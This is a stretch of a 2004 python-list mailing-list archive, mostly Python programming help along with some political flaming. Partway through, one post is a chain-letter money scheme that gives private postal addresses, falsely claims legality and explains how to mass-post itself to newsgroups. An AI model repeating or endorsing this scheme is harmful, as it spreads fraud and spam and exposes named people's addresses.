underpinnings is here:
http://www.commentarymagazine.com/podhoretz.htm

Happy reading!

-Harry
On Fri, 10 Sep 2004 17:35:04 +0200, John Thingstad
<john.thingstad at chello.no> wrote:
> On Fri, 10 Sep 2004 08:26:15 -0700, Alan Balmer <albalmer at att.net> wrote:
> 
> >>
> > And, of course, entertaining the possibility that his agenda is just
> > what he says it is, is completely out of the question.
> >
> 
> Yes, the Iraq war ruled that out.
> 
> --
> Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From me at privacy.net  Fri Sep 24 18:42:54 2004
From: me at privacy.net (Richard Hanson)
Date: Fri, 24 Sep 2004 15:42:54 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<mailman.3830.1095998544.5135.python-list@python.org>
	<07c7l01vmhodigl5qcp27er6gm4l5b8r43@4ax.com>
	<pbadnZvDHOjzYM7cRVn-jg@powergate.ca>
	<mailman.3863.1096038128.5135.python-list@python.org>
Message-ID: <oj89l05r3kmqbfck3kk371un6uo9c6rb2f@4ax.com>

Carlos Ribeiro wrote:

> My candidate for QOTW:
> 
> "You *did* signal that quite adequately. This, however, is
> comp.lang.python and clear signals never stopped anyone.  <wink>"

+1

(And I'm not biased at all... ;-) )


Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From aleaxit at yahoo.com  Fri Sep 17 04:56:34 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 17 Sep 2004 10:56:34 +0200
Subject: Question: processing HTML,
	re-write default processing  action of many tags
References: <98ba0902.0409162115.3e2e9ee9@posting.google.com>
Message-ID: <1gk97hp.1m5w8cr1jwtzn8N%aleaxit@yahoo.com>

Hubert Hung-Hsien Chang <hubert at cs.nyu.edu> wrote:

> I know you could use the 
> 
> 
> def start_a
> ....
> 
> def end_a
> ....
> 
> to process the <a href=...> anchor </a> tags, but is there a 
> default method for processing ALL tags? If I just want change 
> some parts of the hyperlink and want to keep other parts of the HTML
> could I just print them out? There should be such a method.
> Can't find it...

You could subclass HTMLParser.HTMLParser and override handle_starttag
and handle_endtag (also, if needed, handle_charref, handle_entityref,
and last but not least handle_data -- that's assuming that while you
only talk about processing _tags_ you may in fact also want to process
references and text nodes... possibly handle_comment, too, btw).


Alex


From __peter__ at web.de  Mon Sep  6 03:23:00 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 06 Sep 2004 09:23:00 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<mailman.2905.1094405220.5135.python-list@python.org>
Message-ID: <chh38l$4eq$06$1@news.t-online.com>

Alex Martelli wrote:

> $ python ~/cb/timeit.py -s'r=range(1000)' 'list(reversed(r))'
> 10000 loops, best of 3: 99 usec per loop
> 
> $ python ~/cb/timeit.py -s'r=range(1000)' '[x for x in reversed(r)]'
> 1000 loops, best of 3: 706 usec per loop
> 
> Dunno 'bout you guys, but I can't really afford to throw away a factor
> of SEVEN in a perfectly ordinary task in such a fashion...

For the sake of completeness, bypassing reversed() gains you another factor
of two and might be worthwile, too, if you need the resulting list. 

$ python2.4 timeit.py -s"r = range(1000)" "[i for i in reversed(r)]"
10000 loops, best of 3: 148 usec per loop
$ python2.4 timeit.py -s"r = range(1000)" "list(reversed(r))"
100000 loops, best of 3: 19.5 usec per loop
$ python2.4 timeit.py -s"r = range(1000)" "r[::-1]"
100000 loops, best of 3: 9.17 usec per loop

For loops reversed() remains the solution of choice, even if memory
consumption is not a problem:

$ python2.4 timeit.py "r=range(1000)" "for i in reversed(r): pass"
10000 loops, best of 3: 87.2 usec per loop
$ python2.4 timeit.py "r=range(1000)" "for i in r[::-1]: pass"
10000 loops, best of 3: 99.7 usec per loop


Peter 



From duncan.booth at invalid.invalid  Thu Sep 23 07:56:40 2004
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 23 Sep 2004 11:56:40 GMT
Subject: Why not FP for Money?
References: <mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
Message-ID: <Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>

Carlos Ribeiro wrote:

> Now that we are talking about money types,  I had an idea some time
> ago and I would appreciate to hear some opinions. What do you think
> about using a different notation for fixed point decimal literals in
> Python, using the $ sign, as in:
> 
> a) $1.0000 --> fixed point decimal, four digits of precision
> b) 1$0000 -> alternative syntax, also with four digits
> 
> and operations would also be easier to write, with type coercion, etc:
> 
> $1.00 + 0.99212 --> $1.99 (rounded)
> 
> That would make easy to supply fixed point literals. And I dont think
> that the use of a symbol, in this case, is a case of Perlish
> contamination -- even in countries where the money sign is different,
> I think that most programmers would readily recognize the $ sign for
> it. How about it?
> 

I don't see the benefit.

Can you give a use-case where you would actually write $1.00 + 0.99212 
rather than, say, 'balance + interest'?

For that matter can you give a use case where you actually need to write 
fixed point decimal literals in your code rather than taking them out of a 
configuration file?


From lynn at garlic.com  Wed Sep  8 22:08:30 2004
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Wed, 08 Sep 2004 20:08:30 -0600
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<413c5b9c$0$19705$61fed72c@news.rcn.com>
	<1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no>
	<t7mjhc.ubd.ln@via.reistad.priv.no>
Message-ID: <uacw0urc1.fsf@mail.comcast.net>

Morten Reistad <firstname at lastname.pr1v.n0> writes:
> Since I am on a roll with timelines; just one off the top of my head : 
>
> Project start     : 1964
> First link        : 1969
> Transatlantic     : 1972 (to Britain and Norway)
> Congested         : 1976
> TCP/IP            : 1983 (the effort started 1979) (sort of a 2.0 version)
> First ISP         : 1983 (uunet, EUnet followed next year)
> Nework Separation : 1983 (milnet broke out)
> Large-scale design: 1987 (NSFnet, but still only T3/T1's)
> Fully commercial  : 1991 (WIth the "CIX War")
> Web launced       : 1992
> Web got momentum  : 1994
> Dotcom bubble     : 1999 (but it provided enough bandwith for the first time)
> Dotcom burst      : 2001

oh, and here is a recent referenct to some bitnet activity:
http://www.garlic.com/~lynn/2004k.html#66
in the listserv history section

some general bitnet/earn posts:
http://www.garlic.com/~lynn/subnetwork.html#bitnet

more than 20 year old email reference about earn
http://www.garlic.com.~lynn/2001h.hytml#65

-- 
Anne & Lynn Wheeler | http://www.garlic.com/~lynn/


From garyr at fidalgo.net  Sat Sep 18 16:41:31 2004
From: garyr at fidalgo.net (Gary Richardson)
Date: Sat, 18 Sep 2004 13:41:31 -0700
Subject: win32api.SetCursorPos() question
References: <10kol21ah3ulpcc@corp.supernews.com>
	<cihmfj$3r8$1@news5.zwoll1.ov.home.nl>
Message-ID: <10kp7cg7au8pn20@corp.supernews.com>


"vincent wehren" <vincent at visualtrans.de> wrote in message
news:cihmfj$3r8$1 at news5.zwoll1.ov.home.nl...
> Gary Richardson wrote:
> > I'm trying to use win32api.SetCursorPos() to position the cursor in a
> > Tkinter canvas window. I.e.:
> >
> > from Tkinter import *
> > import win32api
> > root = Tk()
> > canvas = Canvas(root,  width=400, height=300, bg='white')
> > canvas.pack()
> > win32api.SetCursorPos(100,100)
> > root.mainloop()
> >
> > But this code produces:
> >
> > Traceback (most recent call last):
> >   File
> >
"C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
> > line 301, in RunScript
> >     exec codeObject in __main__.__dict__
> >   File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ?
> >     win32api.SetCursorPos(100,100)
> > TypeError: SetCursorPos() takes exactly 1 argument (2 given)
> >
> > Am I using this function incorrectly? A search on Google didn't turn up
much
> > but I did find one bit of code in which it was used in this manner.
> >
> > I suspect there may be other problems with this approach so any further
> > comments will be appreciated also. I'm using ActivePython 2.2.2 build
224 on
> > Win98SE.
> >
>
> Different then what the docs say, this function seems to want a tuple as
> argument. See if win32api.SetCursorPos((100,100)) does the trick.
>
> --
> Vincent Wehren

I tried that. It doesn't produce an error but no cursor appears.




From be_rich at getmoney.com  Mon Sep 13 22:30:00 2004
From: be_rich at getmoney.com (Be Rich)
Date: Tue, 14 Sep 2004 03:30:00 +0100
Subject: 6$ into $10 000? THIS REALLY WORKS!!!!
Message-ID: <414656ab$0$4777$a729d347@news.telepac.pt>

READ IT TILL THE END! THIS REALLY WORKS IF YOU FOLLOW THE INSTRUCTIONS!!!!
MAKE MONEY!!!MAKE MONEY!!!

MAKE THOUSANDS!!!
I found this on a bulletin board and decided to try it: I don't care
about the useless pre-fabricated crap this message usually says. All I
say is, it works. Continue pre-fab crap.
WELL GUESS WHAT!!!
Within seven days, I started getting money in the mail!! I
was shocked!! I figured it would end soon, but the money just kept
coming in. In my first week, I made about $25.00. By the end of the
second week I had
made a total of more than $1000.00!! In the third week I had more than
$10,000.00 and it's still growing!! This is now my fourth week and I
have made a total of $42,000.00 and it's still coming rapidly. It's
certainly worth $6.00 and six stamps, and I have spent more than that
on the lottery without ever winning!!!
Let me tell you how this works and most important, why it
works..........
also make sure you print this out NOW, so you can get the information
off of it, as you will need it. I promise you that if you follow the
directions exactly that you
will start making more money than you thought possible by doing
something so easy!!
Suggestion: Read this entire message carefully!! (Print it out or
download it)
Follow the simple directions and watch the money come in!! It's easy.
It's legal. And, your investment is only $6.00 (Plus postage) !!!
IMPORTANT:
This is not a rip-off, it is decent; it's legal; and it is virtually
no risk - it really works!! If all the following instructions are
adhered to, you will receive extraordinary dividends.
PLEASE NOTE:
Please follow the directions EXACTLY, and $50,000 or more can be yours
in 20 to 60 days. This program remains successful because of the
honesty and
integrity of the participants. Please continue its success by
carefully adhering to
the instructions. You will now become apart of the Mail Order
business. You
are in the business of developing Mailing Lists. Many large
corporations are
happy to pay big bucks for quality lists. However, the money made from
the
mailing lists is secondary to income which is made from people like
you and me asking to be included in that list. Here are the four easy
steps to success.
STEP ONE:
Get six separate pieces of paper and write the following on
each piece of paper "PLEASE PUT ME ON YOUR MAILING LIST."
Now get 6 U.S. $1.00 bills or UK ?1.00 or 1 ? (euro)
and place ONE inside of EACH of the six
pieces of paper so the bill will not be seen through the envelope (to
prevent thievery). Next, place one paper in each of the six envelopes
and seal them. You now should have six sealed envelopes, each with a
piece of paper stating the above phrase, your name and address, and a
$1.00 bill (or the other currencies). What you are doing is creating a service.
THIS IS ABSOLUTELY LEGAL!!!!!
You are requesting a legitimate service and you are paying for it!!
Like
most of us I was a little skeptical and little worried about the legal
aspects
of it all. So I checked it out with the U.S. Post Office
(1-800-238-5355) and they
confirmed that it is indeed legal!!
Mail the six envelopes to the following addresses:

1) P. Delano
8 Wheeler Avenue
Medford, MA 02155
2) A. L. Alexander
12 Briggate
Elland Bridge
Elland
HX5 9DP
England
3) G. Burrows
1/264 Tor St
Toowoomba QLD
4350 Australia
4) Chris Kuehn
3477 S 11th St.
Milwaukee W1, 53215
5)Ricardo Santos
R. Ant?nio Jos? de Almeida 51 2?
6320 Sabugal
PORTUGAL
6)R. Ansems
Gen. Foulkesstraat 5
4641 BW Ossendrecht
Netherlands

STEP TWO:Now take the #1 name off the list that you see above, move
the other names up (six becomes 5, 5 becomes 4, and etc.) and add YOUR
NAME as number 6 on the list.
STEP THREE:
Change anything you need to but try to keep this article as close to
original as possible. Now post your amended article to at least 200
news groups. :
(I think there are close to 24,000 groups) All you need is 200, but
remember, the more you post, the more money you make!! This is
perfectly legal!! If you have any doubts, refer to Title 18 Sec. 1302
& 1341 of the Postal Lottery laws. Keep a copy of these steps for
yourself and whenever you need money, you can use it again, and again.
PLEASE REMEMBER that this program remains successful because of the
honesty and integrity of the participants and by their carefully
adhering to directions. Look at it this way. If you were of integrity,
the program will continue and the money that so many others have
received will come your way.
NOTE: You may want to retain every name and address sent to you,
either on a computer or hard copy and keep the notes people send you.
This VERIFIES that you are truly providing a service. (Also, it might
be a good idea to wrap the $1 bill in dark paper to reduce the risk of
mail theft). So, as each post is downloaded and the directions
carefully followed, all members will be reimbursed for their
participation as a List Developer with one dollar each. Your name
will move up the list geometrically so that when your name reaches the
#1 position you will be receiving thousands of dollars in CASH!!! What
an opportunity for only $6.00 ( $1.00 for each of the first six people
listed above) Send it now, add your own name to the list and you're in
business!!!

*****DIRECTIONS FOR HOW TO POST TO NEWS GROUPS!!!*****
STEP ONE: You do not need to re-type this entire letter to do your own
posting. Simply put your cursor at the beginning of this letter and
drag your
cursor to the bottom of this document, and select 'copy' from the edit
menu. This
will copy the entire letter into the computer's memory.
STEP TWO:
Open a blank 'notepad' file and place your cursor at the top
of the blank page. From the 'edit' menu select 'paste'. This will
paste a copy
of the letter into the notepad so that you will add your name to the
list.
STEP THREE:
Save your new notepad file as a text file. If you want to do your
posting in different settings, you'll always have this file to go back
to.
STEP FOUR:
You can use a program like "postXpert" to post to all the newsgroups
at once.
You can find this program at <http://www.download.com>.
Use Netscape or Internet Explorer and try searching for various new
groups (on- line forums, message boards, chat sites, discussions.)
STEP FIVE:
Visit message boards and post this article as a new message by
highlighting the text of this letter and selecting paste from the edit
menu. Fill in the subject, this will be the header that everyone sees
as they scroll through the list of postings in a particular group,
click the post message button. You're done.
Congratulations!!!!!!
THAT'S IT!! All you have to do, and It Really works!!!
Best Wishes




From aleaxit at yahoo.com  Thu Sep 16 07:22:34 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 16 Sep 2004 13:22:34 +0200
Subject: python: ascii read
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>
Message-ID: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>

Sebastian Krause <canopus at gmx.net> wrote:

> Hello,
> 
> I tried to read in some large ascii files (200MB-2GB) in Python using
> scipy.io.read_array, but it did not work as I expected. The whole idea
> was to find a fast Python routine to read in arbitrary ascii files, to
> replace Yorick (which I use right now and which is really fast, but not
> as general as Python). The problem with scipy.io.read_array was, that it
> is really slow, returns errors when trying to process large files and it
> also changes (cuts) the files (after scipy.io.read_array processed a 2GB
> file its size was only 64MB).
> 
> Can someone give me hint how to use Python to do this job correctly and
> fast? (Maybe with another read-in routine.)

If all you need is what you say -- read a huge amount of ASCII data into
memory -- it's hard to beat
    data = open('thefile.txt').read()

mmap may in fact be preferable for many uses, but it doesn't actually
read (it _maps_ the file into memory instead).


Alex


From aleaxit at yahoo.com  Fri Sep 24 19:09:05 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sat, 25 Sep 2004 01:09:05 +0200
Subject: Python and Sybase
References: <wVE4d.53$26.20@llslave.llan.ll.mit.edu>
	<mailman.3815.1095972439.5135.python-list@python.org>
Message-ID: <1gkn9go.1d3dgwh4edmdrN%aleaxit@yahoo.com>

Josh Close <narshe at gmail.com> wrote:

> > Also, is there any module that provides a generic DB API and can be
> > hooked to both Sybase and postgresql?  This
> > (http://www.python.org/peps/pep-0249.html) looks pretty old.
> 
> Why would you need that? Python has a DB API, so all you have to do to
> change from db to db is the connection string.
> 
> conn = Sybase.connection(.....)
> conn = otherModules.connection(....)
> 
> Everthing else should work the same way.

...except that you may need to use different placeholders in SQL strings
for parameters to insert (sigh)...


Alex


From tweedgeezer at hotmail.com  Thu Sep 23 12:11:38 2004
From: tweedgeezer at hotmail.com (Jeremy Fincher)
Date: 23 Sep 2004 09:11:38 -0700
Subject: Python speed-up
References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net>	<1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com>
	<mailman.3739.1095881975.5135.python-list@python.org>
Message-ID: <698f09f8.0409230811.d5f4641@posting.google.com>

Gerrit <gerrit at nl.linux.org> wrote in message news:<mailman.3739.1095881975.5135.python-list at python.org>...
> Why isn't cStringIO faster than concatenating strings?

It is, when you're doing it repetitively.  Using cStringIO or str.join
is O(n) in the number of strings, whereas using += repetitively is
O(n**2) in the number of strings.

> Using python2.4:
> 
> $ python timeit.py -s 'from cStringIO import StringIO; s=StringIO()' "s.write('foo')"
> 1000000 loops, best of 3: 0.555 usec per loop
> 
> $ python timeit.py -s 's=""' "s+='foo'"
> 1000000 loops, best of 3: 0.383 usec per loop
> 
> $ python timeit.py -s 'L=[]' "L.append('foo')"
> 1000000 loops, best of 3: 0.32 usec per loop
> 
> $ python timeit.py -s 'from StringIO import StringIO; s=StringIO()' "s.write('foo')"
> 100000 loops, best of 3: 3.19 usec per loop

Don't let the "100000 loops" confuse you, in this case you're only
appending *one* string, and the significantly lower constant time of
str.__iadd__ (aka +=) shows more than the lower complexity of the
other methods.

> I was about to advise cStringIO as being much faster than concatenating
> strings, but just before I was about to send the e-mail, I spied with my
> little eye that the numbers were swapped - concatenating strings is
> actually *faster* than using cStringIO! What's happening?

Perhaps this will be more elucidating:

$ python ~/timeit.py 's = ""' 'for i in xrange(1):' '  s += "foo"'
100000 loops, best of 3: 4.38 usec per loop

$ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio =
StringIO()' 'for i in xrange(1):' '  sio.write("foo")' 's =
sio.getvalue()'
100000 loops, best of 3: 9.77 usec per loop

$ python ~/timeit.py 's = ""' 'for i in xrange(10):' '  s += "foo"'
10000 loops, best of 3: 15.8 usec per loop

$ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio =
StringIO()' 'for i in xrange(10):' '  sio.write("foo")' 's =
sio.getvalue()'
10000 loops, best of 3: 36.6 usec per loop

$ python ~/timeit.py 's = ""' 'for i in xrange(100):' '  s += "foo"'
1000 loops, best of 3: 154 usec per loop

$ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio =
StringIO()' 'for i in xrange(100):' '  sio.write("foo")' 's =
sio.getvalue()'
1000 loops, best of 3: 264 usec per loop

$ python ~/timeit.py 's = ""' 'for i in xrange(1000):' '  s += "foo"'
100 loops, best of 3: 2.23e+03 usec per loop

$ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio =
StringIO()' 'for i in xrange(1000):' '  sio.write("foo")' 's =
sio.getvalue()'
100 loops, best of 3: 2.62e+03 usec per loop

$ python ~/timeit.py 's = ""' 'for i in xrange(10000):' '  s += "foo"'
10 loops, best of 3: 7.14e+05 usec per loop

$ python ~/timeit.py -s 'from cStringIO import StringIO' 'sio =
StringIO()' 'for i in xrange(10000):' '  sio.write("foo")' 's =
sio.getvalue()'
10 loops, best of 3: 2.66e+04 usec per loop

Do be sure not to use -s before the 's = ""' argument or before the
'sio = StringIO()' argument, otherwise you'll prove your point well,
but not fairly :)

Jeremy


From adalke at mindspring.com  Thu Sep 23 16:25:46 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 23 Sep 2004 20:25:46 GMT
Subject: Call for suggestions: Declaring data entry forms using Python
 classes
In-Reply-To: <mailman.3799.1095959172.5135.python-list@python.org>
References: <mailman.3799.1095959172.5135.python-list@python.org>
Message-ID: <ejG4d.8040$gG4.2617@newsread1.news.pas.earthlink.net>

Carlos Ribeiro wrote:
> # decorates getmyposition to hide the internal static var
> getmyposition = getmyposition().next

Codewise this is probably cleaner

import itertools
getmyposition = itertools.count().next

More than that requires I know how to use metaclasses. :)

If it works like I think it does then it's pretty neat.

				Andrew
				dalke at dalkescientific.com


From narshe at gmail.com  Fri Sep 17 15:22:21 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 17 Sep 2004 14:22:21 -0500
Subject: smtplib (111, 'Connection refused')
Message-ID: <4a0cafe2040917122245fab8f4@mail.gmail.com>

I'm using the smtplib module and I keep getting this error: (111,
'Connection refused') What could be causing this? I've tried it from a
different computer and it seems to work, but not from this specific
server. If port 25 was blocked for some reason, would that give me a
'connection refused' error?

-Josh


From kkt at drizzle.com  Tue Sep 14 13:15:27 2004
From: kkt at drizzle.com (Patrick Scheible)
Date: 14 Sep 2004 10:15:27 -0700
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
	<flrphc.tlk1.ln@via.reistad.priv.no> <4140A885.90B945AC@yahoo.com>
	<4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
	<Zdm0d.88398$S55.30393@clgrps12>
	<chsvv6$v15$1@grandcanyon.binc.net>
Message-ID: <tqm3c1krcuo.fsf@drizzle.com>

Chuck Dillon <spam at nimblegen.com> writes:

> Coby Beck wrote:
> 
> >>
> >>And, of course, entertaining the possibility that his agenda is just
> >>what he says it is, is completely out of the question.
> > Not out of the question, be obviously untrue.
> 
> Again, I'll point out that it is naive to put this entirely on the
> administration.  We're in Iraq because we effectively declared
> war. The dance with the U.N. went on for some 3 months.  It was clear
> where we were headed.  Our congress, including Kerry and all of the
                                                           ^^^
Not all.  I'm happy to say my representative and one of my senators
voted against the resolution authorizing the war.

Congress doesn't have its own intelligence service.  If the
administration claims to have clear evidence that a country has WMD
there's only so much that a minority party in congress can do to find
out if the administration is lying or engaged in wishful thinking.

-- Patrick


From fumanchu at amor.org  Tue Sep 21 14:30:20 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 21 Sep 2004 11:30:20 -0700
Subject: class size
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EF7@exchange.hqamor.amorhq.net>

Brad Tilley wrote:
> How large (lines of code) should a class be before one should 
> split it 
> into smaller classes? Is there a general rule on this? How many 
> functions should a class contain? Are there limits (theoretical or 
> practical) that people learning classes should adhere to?

Short answer: no. Quantifying human behavior and understanding isn't
something you should agonize over unless you're a CTO. Just get the job
done. How large should a novel be before one should split it into short
stories? How many chapters should a book contain? Every author (of both
code and novels) will have their own formula--some will share them in
this thread, I'm sure. But the shortest answer is still "no". ;)


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From bdesth.quelquechose at free.quelquepart.fr  Tue Sep 21 11:24:21 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Tue, 21 Sep 2004 17:24:21 +0200
Subject: python ides
In-Reply-To: <mailman.3639.1095771048.5135.python-list@python.org>
References: <mailman.3639.1095771048.5135.python-list@python.org>
Message-ID: <41503f1b$0$12985$626a14ce@news.free.fr>

kevin wrote:
> 
> Since i saw a post about a troll saying python doesnt have good ides(not
> true) , i would like to say that python has the best ide ever! and i
> challenge emacs,vim users who dont believe in the power of an ide , 

They do ! That's why they use one of the two best IDEs around...



From jmfbahciv at aol.com  Thu Sep  9 09:07:05 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Thu, 09 Sep 04 13:07:05 GMT
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com>
Message-ID: <4140688e$0$6912$61fed72c@news.rcn.com>

In article <413F43AC.9D2088AF at yahoo.com>,
   CBFalconer <cbfalconer at yahoo.com> wrote:
>jmfbahciv at aol.com wrote:
>> Alan Balmer <albalmer at att.net> wrote:
>>> CBFalconer <cbfalconer at yahoo.com> wrote:
>>>> Alan Balmer wrote:
>>>>>
>>>>... snip ...
>>>>>
>>>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle
>>>>> disaster(s) is somewhat over the top. Why not blame President
>>>>> Bush? That's the popular thing nowadays.
>>>>
>>>> Alright, if you insist.  But is it really necessary?  We can find
>>>> adequate charges without reaching very hard.
>>>
>>> Then why are so many people reaching so hard?
>> 
>> It's apparently having the desired effect.  The subject of
>> the radio talk show last night was about the results of a poll
>> where 41% of the people asked (New York state residents) believed
>> that Bush and Co. knew that the WTC was going to be attacked and
>> did nothing to prevent it.  The Bush-bashing is working.  The
>> Democrats are opening the city gates to the barbarians.
>
>I deplore your tast in radio talk shows.

Oh!  Taste in talk shows.

> ..  It doesn't take much to
>create a rabble rousing poll to increase ratings.

I listen to them for data about how the rabble is thinking
and the logic they use to form their opinions.  I also
watch those religious cable TV shows to gather the same kinds
of information; note that I can only manage to listen to these
about 10 minutes and not more than once/year.  I also listen
to Rushie to see what kinds of lies that half of the world is
listening to.  I watch CSPAN who never cut out for commericals,
don't edit too much, and tend to leave the mike on after the
meetings break up.  

>
>There is no need, nor cause, to impute Bush & Co. with
>intrinsically evil intentions.  It is quite enough to point to
>their lack of capability, and bull headed 'revenge for daddy'
>propensities.  The state of the economy, unemployment, poverty
>rate, medical care, deficit, death rate in Iraq (both of Americans
>and Iraqis), abandonment of the Bin Laden hunt, abridgement of
>civil liberties (as in the Patriot Act and the Gitmo gulag), poor
>choice of companions (Halliburton and other political donors and
>trough feeders, and the 'plausible deniability' of the Swiftboat
>gang), irritation of allies, inability to deal with North Korea
>(due to involvement with useless adventures), abandonment of
>efforts towards a Palestinian peace, all spring to immediate mind.

Well, your Bush-hater campaign is working beyond all your 
expectations.  One day, you will have to live it.

>
>Yes, we have had no experience with a Kerry administration,

OH, fuckmeverymuch.  I am in Mass.  We do have some
experience of a Kerry administration.  For those you who don't,
watch how he runs his campaign.  He will run the country in the
same manner.

> .. but we
>have had far too much experience with a Bush administration.

Do you think that hiring a person who doesn't like to do
work will make things better?  Things can be worse..a lot
worse.

/BAH


Subtract a hundred and four for e-mail.


From db3l at fitlinxx.com  Mon Sep  6 14:16:36 2004
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Sep 2004 14:16:36 -0400
Subject: Linux application deployment
References: <mailman.2932.1094487159.5135.python-list@python.org>
Message-ID: <ur7pfb6uz.fsf@fitlinxx.com>

"Robert Brewer" <fumanchu at amor.org> writes:

> Shorter version for the local directory:
> 
> import os.path
> localDir = os.path.dirname(__file__)

Note that __file__ isn't set for top level scripts prior to Python
2.3, so if you need to support older versions you may want to try the
__file__ access and fall back to argv[0] if its not available.

-- David


From in.aqua.scribis at nl.invalid  Tue Sep  7 17:25:18 2004
From: in.aqua.scribis at nl.invalid (Peter Kleiweg)
Date: Tue, 7 Sep 2004 23:25:18 +0200
Subject: unexplained behavior of tkMessageBox.askyesno
In-Reply-To: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl>
Message-ID: <Pine.LNX.4.44.0409072316430.1090-100000@kleigh.nl>

Peter Kleiweg schreef:

>
> I have a program with these fragments:
>
>
>
> from Tkinter import *
> import tkFileDialog
> import tkMessageBox
>
> def openProject():
>     filepath = tkFileDialog.askopenfilename(filetypes=(("project files","*.ini"), ("all","*")))
>     if filepath:
>         loadProject(filepath)
>
> def makeClean():
>     if tkMessageBox.askyesno('Make clean', 'Remove all files created by Make?'):
>         print 'yes'
>         # more code

The file tkMessageBox.py that comes with Python has this:

def askyesno(title=None, message=None, **options):
    "Ask a question; return true if the answer is yes"
    s = _show(title, message, QUESTION, YESNO, **options)
    return s == YES


So instead of calling askyesno, I used this:

def makeClean():
    r =  tkMessageBox._show('Make clean', 'Remove all files created by Make?', 'question', 'yesno')
    print type(r), r

Call makeClean(), click no, result: <type 'str'> no
Call makeClean(), click yes, result: <type 'str'> yes
Call openProject(), click cancel
Call makeClean(), click no, result: <type 'str'> no
Call makeClean(), click yes, result: <type 'bool'> True

Now, how did that happen?

-- 
Peter Kleiweg  L:NL,af,da,de,en,ia,nds,no,sv,(fr,it)  S:NL,de,en,(da,ia)
info: http://www.let.rug.nl/~kleiweg/ls.html



From eldiener at earthlink.net  Sat Sep  4 20:41:01 2004
From: eldiener at earthlink.net (Edward Diener)
Date: Sun, 05 Sep 2004 00:41:01 GMT
Subject: Creating a unittest TestRunner
Message-ID: <xgt_c.6019$Vl5.5183@newsread2.news.atl.earthlink.net>

I am interested in the ability to create a unit test TestRunner other than
the default TextTestRunner provided in unittest. While the documentation
explains:

"A test runner is an object that provides a single method, run(), which
accepts a TestCase or TestSuite object as a parameter, and returns a result
object. The class TestResult is provided for use as the result object.
PyUnit provide the TextTestRunner as an example test runner which reports
test results on the standard error stream by default. Alternate runners can
be implemented for other environments (such as graphical environments)
without any need to derive from a specific class."

I am having trouble imagining how an alternate TestRunner might work. Does
the normal action of a TestRunner merely instantiate a TestResult object
when its run() method is called and pass that to the instance of the
TestSuite, which is passed to it, run() method for the test suite to fill in
the result object as it runs ? Is there anything else that an alternate
TestRunner needs to do in the minimal case ?

The interactions between the TestRunner, TestSuite, and TestLoader are not
exactly spelled out in detail, although the documentation for the latter two
is adequate.




From ian at cottee.org  Tue Sep 28 02:52:34 2004
From: ian at cottee.org (Ian J Cottee)
Date: Tue, 28 Sep 2004 15:52:34 +0900
Subject: pydev [was Re: python ides]
In-Reply-To: <du7d6073pi0.fsf_-_@lehtori.cc.tut.fi>
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<mailman.3985.1096330584.5135.python-list@python.org>
	<du7d6073pi0.fsf_-_@lehtori.cc.tut.fi>
